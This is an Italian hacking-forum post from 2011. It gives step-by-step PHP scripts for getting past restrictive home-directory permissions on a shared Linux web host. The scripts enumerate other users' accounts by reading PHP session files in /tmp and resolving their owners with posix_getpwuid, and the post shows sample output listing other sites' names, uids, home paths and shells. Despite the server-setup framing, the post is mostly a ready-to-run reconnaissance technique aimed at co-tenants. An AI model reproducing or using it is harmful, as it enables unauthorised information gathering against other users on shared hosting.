Permessi restrittivi Home directory - Versione stampabile +- BorderGame (https://www.bordergame.it) +-- Forum: Console e Tecnologia (/Forum-Console-e-Tecnologia) +--- Forum: Hacking (/Forum-Hacking) +--- Discussione: Permessi restrittivi Home directory (/Thread-Permessi-restrittivi-Home-directory) |
Permessi restrittivi Home directory - ¬Bulle† - 21-07-2011 01:16 PM Mentre si configura un server Gnu/linux ci si potrebbe imbattere al 50% di possibilità in un problema molto comune, ossia l’impossibilità di superare i permessi restrittivi che ci consentono di elencare le home directory, le cartelle htdocs degli altri utenti sul server. Qui posterò come raggirare facilment eil problema: per prima cosa dobbiamo determinare la cartella nella quale ci troviamo, eseguendo questo script: <?php die(getcwd()); ?> che dovrebbe restituirci una cartella del tipo /home/www/nostrosito.com e successivamente poi tentiamo di renumerare gli altri siti o utenti nella cartella /home/www/. Per fare cio, lanciamo ora questo secondo script; <?php if ($handle = opendir(‘/home/www/’)) { while (false !== ($file = readdir($handle))) { if ($file != “.” && $file != “..”) { echo “$file\n”; } } closedir($handle); } ?> Da qui ora dovremmo trovarci dinanzi al fatidico errore: Warning: opendir(/home/www/) [function.opendir]: failed to open dir: Permission denied in /home/www/nostrosito.com/test.php on line 5 La soluzione è semplice, dobbiamo sfruttare la /tmp ed i file di sessione, elencando gli stessi nella /tmp e prendendo per ognuno l’uid dell’owner con la funzione PHP fileowner. Dopo aver trovato l’uid dell’owner, procuriamoci con posix_getpwuid le altre informazioni che ci servono, come gid, home path etc. <?php $files = glob( “/tmp/sess_*” ); $users = array(); foreach( $files as $file ){ $owner = fileowner($file); $user = posix_getpwuid($owner); if( !in_array( $user, $users ) ){ $users[] = $user; } foreach( $users as $user ){ $info = str_replace( ‘ ‘, ‘ ‘, print_r($user,true) ); echo nl2br($info); } ?> Generando dunque una lista tipo la seguente: Array ( [name] => pierino.it [passwd] => * [uid] => 52417 [gid] => 52417 [gecos] => pierino.it@pierino.it [dir] => /home/www/pierino.it [shell] => /bin/true ) Array ( [name] => foobar.com [passwd] => * [uid] => 61240 [gid] => 61240 [gecos] => foobar.com@foobar.com [dir] => /home/www/foobar.com [shell] => /bin/true Spero di esservi stato d'aiuto |